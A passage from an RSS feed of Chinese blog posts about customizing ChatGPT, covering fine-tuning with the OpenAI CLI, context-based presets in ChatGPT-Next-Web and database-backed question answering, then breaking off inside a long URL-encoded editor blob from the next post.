src="https://wechat2rss.xlab.app/img-proxy/?k=bd88b46a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USciaWsy14viaa4we9gvQuzlaRicL44pRkwptq2lb9xgHdCvpuvYZicrIblfoic4ahfBibeWNfgs8Rxv6Xg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>等待微调的任务处理完成。如果不小心中断，可以用follow继续</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">openai api fine_tunes.follow -i ft-PcXP6lbEZKDHo3ez8986RWmZ</pre><p style="min-height: 24px;"><span>之后就是等待结果即可，我自己研究了一下发现这个东西有点儿贵的我训练集数据也就400多条，还用了比较便宜的</span><span style="color: rgb(53, 55, 64);font-size: 16px;">curie模型，结果还花了10刀。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5763656633221851" width="1630.9090555600892" data-type="png" data-w="1794" src="https://wechat2rss.xlab.app/img-proxy/?k=575c495f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USciaWsy14viaa4we9gvQuzlayTH1N6cOX75ME1Jg3vevobMncRDpdW9lSqC0eciaHI3zwsn9CA52h9w%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>训练完成之后你就可以使用这个模型来交互。但我研究了一下，</span><strong>这个微调后的Chatgpt只能用Complete功能，你可以使用api或者platform来调用这个模型。</strong></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.29084249084249086" width="1240.9090640131112" data-type="png" data-w="1365" src="https://wechat2rss.xlab.app/img-proxy/?k=d70c8f81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USciaWsy14viaa4we9gvQuzla5YNqbeysuIcyse3u98UoPCUhG0e6ZicGSG4Q6S9O9RiaWuctqibpobF1g%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>但还是那句话，这个方案问题相当之大，</span><strong>一个是GPT3在现在的大模型中是比较菜的</strong><span>，先不说GPT4，连3.5什么时候上线这个功能还遥遥无期，另一方面就现在的内容而言，</span><strong>训练的结果和价格其实不太成正比</strong><span>，一方面</span><strong>微调这个功能很依赖训练的数据有效度</strong><span>，你简单的拿一大堆数据来搞不但很贵还效果不好，你精心准备各种提示词和内容又</span><strong>违背了本身依靠ai来做总结归纳的初心</strong><span>，所以现在市面上更多的基于chatgpt的第三方工具，都是用了一些其他的方案。</span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>基于上下文训练</span></h1><p style="min-height: 24px;"><span>在前面的文章中，其实有讲到这个关键点，虽然</span><strong>ChatGPT不会学习来自互联网上的任何对话信息</strong><span>，但为了保证对话的流畅性，</span><strong>ChatGPT会记录每个对话session的上下文</strong><span>并在这个基础上对你进行反馈。</span></p><p style="min-height: 24px;"><span>所以就衍生了一种相关的方案，</span><strong>通过储存上下文来实现简单的训练</strong><span>，这个东西最大的优势是</span><strong>可以使用现在大模型中最领先的GPT4模型</strong><span>，而问题是，这种方案只能</span><strong>实现特别简单的训练</strong><span>，尤其是</span><strong>不能太多条+长度过长</strong><span>！</span></p><p style="min-height: 24px;"><span>很多第三方的ChatGPT和一些浏览器插件其实都实现了类似的功能。这里拿我使用的第三方ChatGPT来看看这个功能。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><a href="https://github.com/Yidadaa/ChatGPT-Next-Web" target="_blank">https://github.com/Yidadaa/ChatGPT-Next-Web</a></p></li></ul><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.6056201550387597" width="938.1817978472753" data-type="png" data-w="1032" src="https://wechat2rss.xlab.app/img-proxy/?k=5adebc02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USciaWsy14viaa4we9gvQuzlaD6FDEKNkia7n1c94OBTkFt6BIWWHu1pznUkgMLpxWfPhU6x6BrQTBLQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>首先是你可以在对话之前对其预设面具，这个东西可以有很多预设内容。这里我们只假设了</span><strong>一个比较简单的基础设定</strong><span>。当然这只是一个简单的人设面具，你也可以通过特别具体的prompt来作为基础了，这部分内容在前面的文章中讲到过。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.3860045146726862" width="636.178955078125" data-type="png" data-w="886" src="https://wechat2rss.xlab.app/img-proxy/?k=ba0eafe4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USciaWsy14viaa4we9gvQuzlalMpWvP7fwCYiayo7rQsrSdIQT8u02DAQ2kf6Yd8bctHIR6x9OTFdC9Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>我们再回到魔兽的小助手上，我们再提供一下相关的数据。</span><strong>把相关的数据以及条件放在方案预设之中</strong><span>。这里提前准备好相应的数据内容。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.2359437751004016" width="905.4545258293472" data-type="png" data-w="996" src="https://wechat2rss.xlab.app/img-proxy/?k=1fadf05d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USciaWsy14viaa4we9gvQuzlaHrCsjbkDDZrqMppEqtmibfFnv4QeHicCK37RdrBw9ScLvv1kibGFDIQug%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>通过</span><strong>设置前置上下文，可以在一定程度上影响ChatGPT的功能以及表现</strong><span>，来实现一个简单的自定义ChatGPT。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.9684329199549042" width="551.178955078125" data-type="png" data-w="887" src="https://wechat2rss.xlab.app/img-proxy/?k=8b66b271&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USciaWsy14viaa4we9gvQuzlaeMNf9dSQVuHDziaIaVZI4snianZDuIewh6duicfeVjyqQrb9oC2Qyia3Fg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>除此之外，</span>ChatGPT-Next-Web<span>本身也有</span><strong>消息摘要功能</strong><span>，会总结前几条发送的内容摘要。附加到请求中。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.08838643371017471" width="884.5454353734485" data-type="png" data-w="973" src="https://wechat2rss.xlab.app/img-proxy/?k=b8d2fe59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USciaWsy14viaa4we9gvQuzlaPIa8nawwoGGESkMsOEiaLW4OibUMS0B4yGia4Uar0auE5DnRPC3S1FVJw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>要注意的是，</span><strong>这个方案更适用于和ChatGPT本身功能类似的场景，大部分是文字类相关的，主要是设定场景和人设。在一定的限定场景下并控制回复，就比如非常经典的文案辅助、批改作文等等。</strong></p><p style="min-height: 24px;"><span>但单纯的预制prompt不适用于</span><strong>有大量基础数据的特殊模型</strong><span>，当然，魔高一尺道高一丈。也有不少产品用了一些旁敲的方案。还是拿刚才基于博客文章训练的问答机器人来举例子。</span></p><p style="min-height: 24px;"><span>如果单纯的靠文章数据总结或者干脆直接拿博客文章来训练，这份</span><strong>数据集很大而且内容冗杂</strong><span>，直接训练的效果很不好，所以更靠谱的方案是，在</span><strong>ChatGPT前面挂一个数据库。</strong></p><p style="min-height: 24px;"><span>用户输入问题的时候可以</span><strong>简单的拆解关键词然后从数据库查询结果，然后再作为上下文传到ChatGPT，并由ChatGPT做总结和摘要。</strong></p><p style="min-height: 24px;"><span>但这种基于上下文的训练方案问题比较多，专业性越强的效果就会越差，内容越多效果也会越差，所以</span><strong>这其实也算是一种临时方案，与实际训练过的效果差很多。</strong></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>基于其他LLM大模型的训练方案</span></h1><p style="min-height: 24px;"><span>其实抛开ChatGPT以外，现在市面上还有</span><strong>非常多比较靠谱的LLM大模型</strong><span>，虽然和GPT4都有很大的差距，但能比拟GPT3.5的大模型已经相当多了。</span></p><p style="min-height: 24px;"><span>我思来想去，感觉这个问题还比较多，这部分内容我打算专门拆到另一篇文章里再说。</span></p><p style="min-height: 24px;"><span></span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://lorexxar.cn/2023/05/19/chatgpt4/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6369d8d8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247483989%26idx%3D1%26sn%3De5231332cd9fff6c1b3eacd8deb43220%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 19 May 2023 16:17:00 +0800</pubDate>
    </item>
    <item>
      <title>从0到1的ChatGPT - 进阶篇（三）- ChatGPT+</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247483933&amp;idx=1&amp;sn=4e1dec4dd0f12477eabb6e37e84b15ca</link>
      <description>在我们对ChatGPT的基础能力有了一定的了解之后，我们就要开始在ChatGPT的基础上探索更多的可能性。</description>
      <content:encoded><![CDATA[<p>
原创 <span>LoRexxar</span> <span>2023-04-28 19:07</span> <span style="display: inline-block;">北京</span>
</p>

<p>在我们对ChatGPT的基础能力有了一定的了解之后，我们就要开始在ChatGPT的基础上探索更多的可能性。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8f02db40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FJkQkSjos6USNeVMwnqGmpan5Zpcz2vDY4UxlniabbgozHyEZicQwuGGxqRicn5mA8k5bicicJScmdNIQJC0Y9oBCZWA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><ne-clipboard data="%7B%22type%22%3A%22fragment%22%2C%22name%22%3A%22%23fragment%22%2C%22children%22%3A%5B%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u0bd9f94a%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uaeac8026%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%9C%A8%E6%88%91%E4%BB%AC%E5%AF%B9ChatGPT%E7%9A%84%E5%9F%BA%E7%A1%80%E8%83%BD%E5%8A%9B%E6%9C%89%E4%BA%86%E4%B8%80%E5%AE%9A%E7%9A%84%E4%BA%86%E8%A7%A3%E4%B9%8B%E5%90%8E%EF%BC%8C%E6%88%91%E4%BB%AC%E5%B0%B1%E8%A6%81%E5%BC%80%E5%A7%8B%E5%9C%A8ChatGPT%E7%9A%84%E5%9F%BA%E7%A1%80%E4%B8%8A%E6%8E%A2%E7%B4%A2%E6%9B%B4%E5%A4%9A%E7%9A%84%E5%8F%AF%E8%83%BD%E6%80%A7%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u77781663%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22udb3c321c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E8%80%8CChatGPT%E6%9C%AC%E8%BA%AB%E7%9A%84%E9%97%AE%E9%A2%98%E4%B9%9F%E5%BE%88%E5%A4%9A%EF%BC%8CChatGPT%E5%9C%A8%E4%BD%BF%E7%94%A8%E4%B8%8A%E6%9C%80%E5%A4%A7%E4%B9%9F%E6%9C%80%E6%98%8E%E6%98%BE%E7%9A%84%E9%9D%A9%E5%91%BD%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue0f2eab1%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%85%B6%E5%AE%9E%E6%98%AF%E5%AF%B9%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E7%9A%84%E5%A4%84%E7%90%86%E8%83%BD%E5%8A%9B%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uc2626245%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%EF%BC%8C%E6%8A%9B%E5%BC%80%E5%A4%AA%E5%A4%9A%E4%B8%93%E4%B8%9A%E6%80%A7%E7%9A%84%E6%9C%AF%E8%AF%AD%EF%BC%8C%E4%BD%A0%E5%9C%A8%E4%BD%BF%E7%94%A8%E7%9A%84%E8%BF%87%E7%A8%8B%E4%B8%AD%E4%B9%9F%E8%83%BD%E6%98%8E%E6%98%BE%E6%84%9F%E8%A7%89%E5%88%B0%EF%BC%8CChatGPT%E7%94%9A%E8%87%B3%E5%9C%A8%E6%9F%90%E4%BA%9B%E6%96%B9%E9%9D%A2%E6%9C%89%E7%9D%80%E6%AF%94%E6%AD%A3%E5%B8%B8%E4%BA%BA%E6%9B%B4%E5%8E%89%E5%AE%B3%E7%9A%84%E8%A7%A3%E8%AF%BB%E8%83%BD%E5%8A%9B%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ubf935fac%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%AE%83%E5%8F%AF%E4%BB%A5%E6%8A%8A%E4%B8%80%E6%AE%B5%E6%A8%A1%E7%B3%8A%E7%9A%84%E8%A6%81%E6%B1%82%E5%92%8C%E6%96%87%E5%AD%97%E8%A7%A3%E8%AF%BB%E6%88%90%E9%9C%80%E6%B1%82%EF%BC%8C%E6%9C%80%E7%89%9B%E9%80%BC%E7%9A%84%E6%98%AF%E5%AE%83%E8%BF%98%E6%94%AF%E6%8C%81%E4%B8%AD%E6%96%87%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uad5433f6%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%EF%BC%8C%E6%AF%95%E7%AB%9F%E7%90%86%E8%AE%BA%E4%B8%8A%E4%B8%AD%E6%96%87%E7%9A%84%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E5%A4%84%E7%90%86%E9%9A%BE%E5%BA%A6%E6%98%AF%E5%87%A0%E4%B8%AA%E9%87%8F%E7%BA%A7%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u60637f15%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u42c35048%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E6%8B%BF%E4%B8%8B%E9%9D%A2%E8%BF%99%E4%B8%AA%E5%9B%BE%E4%B8%BE%E4%BE%8B%E5%AD%90%EF%BC%8C%E6%88%91%E6%84%9F%E8%A7%89%E6%88%91%E9%83%BD%E6%B2%A1%E8%AF%B4%E6%98%8E%E7%99%BD%EF%BC%8C%E4%BD%86%E5%8D%B4%E8%8E%B7%E5%BE%97%E4%BA%86%E7%AD%94%E6%A1%88%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u477a6092%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22ue8c07f69%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682587054973-72f17732-e082-453a-bb2b-5ea173dfce4d.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A868%2C%22height%22%3A547%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A61092%2C%22width%22%3A789.0908919878246%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u57142c63-589a-4cc8-8e3a-7d516052a63%22%2C%22clientId%22%3A%22u91e41265-b623-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A431%2C%22y%22%3A76%2C%22width%22%3A421%2C%22height%22%3A17%2C%22text%22%3A%22%E6%88%91%E9%9C%80%E8%A6%81%E5%AE%8C%E6%88%90%E4%B8%80%E4%B8%AAPYTHON3%E7%9A%84%E8%84%9A%E6%9C%AC%2C%E8%87%AA%E5%8A%A8%E6%8A%8AURL%E5%92%8CGET%E5%8F%82%E6%95%B0%E6%95%B0%E7%BB%84%E6%8B%BC%E6%8E%A5%E6%88%90URL%22%7D%2C%7B%22x%22%3A20%2C%22y%22%3A181%2C%22width%22%3A560%2C%22height%22%3A15%2C%22text%22%3A%22%E5%8F%AF%E4%BB%A5%E4%BD%BF%E7%94%A8PYTHON%E7%9A%84URLLIB.PARSE%E5%BA%93%E6%9D%A5%E6%8B%BC%E6%8E%A5URL%E5%92%8CGET%E5%8F%82%E6%95%B0%E6%95%B0%E7%BB%84%2C%E5%85%B7%E4%BD%93%E5%AE%9E%E7%8E%B0%E5%8F%AF%E4%BB%A5%E5%8F%82%E8%80%83%E4%BB%A5%E4%B8%8B%E4%BB%A3%E7%A0%81%3A%22%7D%2C%7B%22x%22%3A31%2C%22y%22%3A227%2C%22width%22%3A127%2C%22height%22%3A13%2C%22text%22%3A%22IMPORT%20URLLIB.PARSE%22%7D%2C%7B%22x%22%3A40%2C%22y%22%3A262%2C%22width%22%3A130%2C%22height%22%3A15%2C%22text%22%3A%22%E5%AE%9A%E4%B9%89URL%E5%92%8CGET%E5%8F%82%E6%95%B0%E6%95%B0%E7%BB%84%22%7D%2C%7B%22x%22%3A32%2C%22y%22%3A281%2C%22width%22%3A197%2C%22height%22%3A12%2C%22text%22%3A%22URL%20-HTTP%3A%2F%2FWWW.EXAMPLE.COM&#39;%22%7D%2C%7B%22x%22%3A154%2C%22y%22%3A298%2C%22width%22%3A122%2C%22height%22%3A13%2C%22text%22%3A%22%5BBOB&#39;AGE&#39;%3A&#39;20&#39;%7D%22%7D%2C%7B%22x%22%3A100%2C%22y%22%3A300%2C%22width%22%3A33%2C%22height%22%3A10%2C%22text%22%3A%22&#39;NAME%22%7D%2C%7B%22x%22%3A32%2C%22y%22%3A300%2C%22width%22%3A41%2C%22height%22%3A9%2C%22text%22%3A%22PARAMS%22%7D%2C%7B%22x%22%3A42%2C%22y%22%3A332%2C%22width%22%3A347%2C%22height%22%3A14%2C%22text%22%3A%22%E4%BD%BF%E7%94%A8URLLIB%2CPARSE%E5%BA%93%E7%9A%84URLENCODE%E6%96%B9%E6%B3%95%E5%B0%86%E5%8F%82%E6%95%B0%E6%95%B0%E7%BB%84%E6%8B%BC%E6%8E%A5%E6%88%90%E5%AD%97%E7%AC%A6%E4%B8%B2%22%7D%2C%7B%22x%22%3A31%2C%22y%22%3A351%2C%22width%22%3A284%2C%22height%22%3A13%2C%22text%22%3A%22PARAMS%20STR%202%20URLLIB.PARSE.URLENCODE(PARAMS)%22%7D%2C%7B%22x%22%3A43%2C%22y%22%3A384%2C%22width%22%3A118%2C%22height%22%3A14%2C%22text%22%3A%22%E6%8B%BC%E6%8E%A5URL%E5%92%8C%E5%8F%82%E6%95%B0%E5%AD%97%E7%AC%A6%E4%B8%B2%22%7D%2C%7B%22x%22%3A31%2C%22y%22%3A402%2C%22width%22%3A267%2C%22height%22%3A13%2C%22text%22%3A%22URL%20WITH%20PARAMS%20-%20URL%20%2B%20&#39;%3F&#39;%20%2B%20PARAMS%20STR%22%7D%2C%7B%22x%22%3A39%2C%22y%22%3A436%2C%22width%22%3A55%2C%22height%22%3A14%2C%22text%22%3A%22%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%22%7D%2C%7B%22x%22%3A30%2C%22y%22%3A454%2C%22width%22%3A148%2C%22height%22%3A15%2C%22text%22%3A%22PRINT(URL_WITH_PARAMS)%22%7D%2C%7B%22x%22%3A20%2C%22y%22%3A501%2C%22width%22%3A654%2C%22height%22%3A15%2C%22text%22%3A%22%E4%BB%A5%E4%B8%8A%E4%BB%A3%E7%A0%81%E4%B8%AD%2C%E5%85%88%E5%AE%9A%E4%B9%89%E4%BA%86URL%E5%92%8CGET%E5%8F%82%E6%95%B0%E6%95%B0%E7%BB%84%2C%E7%84%B6%E5%90%8E%E4%BD%BF%E7%94%A8URLLIB%2CPARSE%E5%BA%93%E7%9A%84URLENCODE%E6%96%B9%E6%B3%95%E5%B0%86GET%E5%8F%82%E6%95%B0%E6%95%B0%E7%BB%84%E6%8B%BC%E6%8E%A5%22%7D%2C%7B%22x%22%3A20%2C%22y%22%3A522%2C%22width%22%3A506%2C%22height%22%3A15%2C%22text%22%3A%22%E6%88%90%E4%B8%80%E4%B8%AA%E5%AD%97%E7%AC%A6%E4%B8%B2.%E6%9C%80%E5%90%8E%E5%86%8D%E5%B0%86URL%E5%92%8C%E5%8F%82%E6%95%B0%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%8B%BC%E6%8E%A5%E5%9C%A8%E4%B8%80%E8%B5%B7%2C%E5%BE%97%E5%88%B0%E5%AE%8C%E6%95%B4%E7%9A%84%E5%B8%A6%E5%8F%82%E6%95%B0%E7%9A%84URL.%22%7D%5D%2C%22search%22%3A%22%E6%88%91%E9%9C%80%E8%A6%81%E5%AE%8C%E6%88%90%E4%B8%80%E4%B8%AAPYTHON3%E7%9A%84%E8%84%9A%E6%9C%AC%2C%E8%87%AA%E5%8A%A8%E6%8A%8AURL%E5%92%8CGET%E5%8F%82%E6%95%B0%E6%95%B0%E7%BB%84%E6%8B%BC%E6%8E%A5%E6%88%90URL%20%E5%8F%AF%E4%BB%A5%E4%BD%BF%E7%94%A8PYTHON%E7%9A%84URLLIB.PARSE%E5%BA%93%E6%9D%A5%E6%8B%BC%E6%8E%A5URL%E5%92%8CGET%E5%8F%82%E6%95%B0%E6%95%B0%E7%BB%84%2C%E5%85%B7%E4%BD%93%E5%AE%9E%E7%8E%B0%E5%8F%AF%E4%BB%A5%E5%8F%82%E8%80%83%E4%BB%A5%E4%B8%8B%E4%BB%A3%E7%A0%81%3A%20IMPORT%20URLLIB.PARSE%20%E5%AE%9A%E4%B9%89URL%E5%92%8CGET%E5%8F%82%E6%95%B0%E6%95%B0%E7%BB%84%20URL%20-HTTP%3A%2F%2FWWW.EXAMPLE.COM&#39;%20%5BBOB&#39;AGE&#39;%3A&#39;20&#39;%7D%20&#39;NAME%20PARAMS%20%E4%BD%BF%E7%94%A8URLLIB%2CPARSE%E5%BA%93%E7%9A%84URLENCODE%E6%96%B9%E6%B3%95%E5%B0%86%E5%8F%82%E6%95%B0%E6%95%B0%E7%BB%84%E6%8B%BC%E6%8E%A5%E6%88%90%E5%AD%97%E7%AC%A6%E4%B8%B2%20PARAMS%20STR%202%20URLLIB.PARSE.URLENCODE(PARAMS)%20%E6%8B%BC%E6%8E%A5URL%E5%92%8C%E5%8F%82%E6%95%B0%E5%AD%97%E7%AC%A6%E4%B8%B2%20URL%20WITH%20PARAMS%20-%20URL%20%2B%20&#39;%3F&#39;%20%2B%20PARAMS%20STR%20%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%20PRINT(URL_WITH_PARAMS)%20%E4%BB%A5%E4%B8%8A%E4%BB%A3%E7%A0%81%E4%B8%AD%2C%E5%85%88%E5%AE%9A%E4%B9%89%E4%BA%86URL%E5%92%8CGET%E5%8F%82%E6%95%B0%E6%95%B0%E7%BB%84%2C%E7%84%B6%E5%90%8E%E4%BD%BF%E7%94%A8URLLIB%2CPARSE%E5%BA%93%E7%9A%84URLENCODE%E6%96%B9%E6%B3%95%E5%B0%86GET%E5%8F%82%E6%95%B0%E6%95%B0%E7%BB%84%E6%8B%BC%E6%8E%A5%20%E6%88%90%E4%B8%80%E4%B8%AA%E5%AD%97%E7%AC%A6%E4%B8%B2.%E6%9C%80%E5%90%8E%E5%86%8D%E5%B0%86URL%E5%92%8C%E5%8F%82%E6%95%B0%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%8B%BC%E6%8E%A5%E5%9C%A8%E4%B8%80%E8%B5%B7%2C%E5%BE%97%E5%88%B0%E5%AE%8C%E6%95%B4%E7%9A%84%E5%B8%A6%E5%8F%82%E6%95%B0%E7%9A%84URL.%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22averageHue%22%3A%22%23c2d4a3%22%2C%22__spacing%22%3A%22both%22%7D%2C%22fontsize%22%3A16%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u4671243b%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u554f8fd3%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E9%99%A4%E4%BA%86%E5%BC%BA%E5%A4%A7%E7%9A%84%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E5%A4%84%E7%90%86%E8%83%BD%E5%8A%9B%EF%BC%8C%E4%BB%A5%E5%8F%8A%E5%A4%A7%E6%A8%A1%E5%9E%8B%E8%83%8C%E6%99%AF%E4%B8%8B%E5%BA%9E%E5%A4%A7%E7%9A%84%E6%95%B0%E6%8D%AE%E4%BB%A5%E5%A4%96%E3%80%82ChatGPT%E8%BF%98%E6%9C%89%E5%BE%88%E5%A4%9A%E6%98%8E%E6%98%BE%E7%9A%84%E7%BC%BA%E7%82%B9%EF%BC%8C%E5%85%B6%E4%B8%AD%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u0e7711f7%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E6%9C%80%E7%9B%B4%E7%99%BD%E7%9A%84%E9%97%AE%E9%A2%98%E5%B0%B1%E6%98%AF%E6%95%B0%E6%8D%AE%E7%9A%84%E8%BF%87%E6%97%B6%E4%BB%A5%E5%8F%8A%E4%B8%8D%E8%81%94%E7%BD%91%E9%97%AE%E9%A2%98%E3%80%82%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6a0e87b4%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E7%9B%AE%E5%89%8DChatGPT%E7%9A%84%E8%AE%AD%E7%BB%83%E6%95%B0%E6%8D%AE%E9%9B%86%E6%88%AA%E6%AD%A2%E5%88%B02021%E5%B9%B4%EF%BC%8C%E8%80%8C%E6%B2%A1%E6%9C%89%E5%87%86%E7%A1%AE%E6%95%B0%E6%8D%AE%E9%9B%86%E7%9A%84%E6%95%B0%E6%8D%AE%EF%BC%8CChatGPT%E5%B0%B1%E6%B2%A1%E6%9C%89%E7%BD%AE%E4%BF%A1%E6%95%B0%E6%8D%AE%E5%8F%AF%E4%BB%A5%E5%8F%82%E8%80%83%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u5b94c6de%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E8%80%8C%E8%BF%99%E7%B1%BB%E9%97%AE%E9%A2%98ChatGPT%E5%B0%B1%E4%BC%9A%E9%80%9A%E8%BF%87%E6%9F%90%E7%A7%8D%E6%96%B9%E5%BC%8F%E8%87%AA%E6%88%91%E5%AD%A6%E4%B9%A0%E4%BA%A7%E7%94%9F%EF%BC%8C%E8%80%8C%E4%BB%96%E7%9A%84%E7%BB%93%E6%9E%9C%E5%B0%B1%E4%BC%9A%E4%BA%A7%E7%94%9F%E5%90%84%E7%A7%8D%E5%90%84%E6%A0%B7%E7%9A%84%E9%94%99%E8%AF%AF%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u8dd6241d%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u77ddfb4f%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682588648134-8b71b71d-d380-4ba1-a5e0-174ffac55f0e.png%22%2C%22original%22%3A%7B%22type%22%3A%22url%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A812%2C%22height%22%3A208%7D%2C%22name%22%3A%22image.png%22%2C%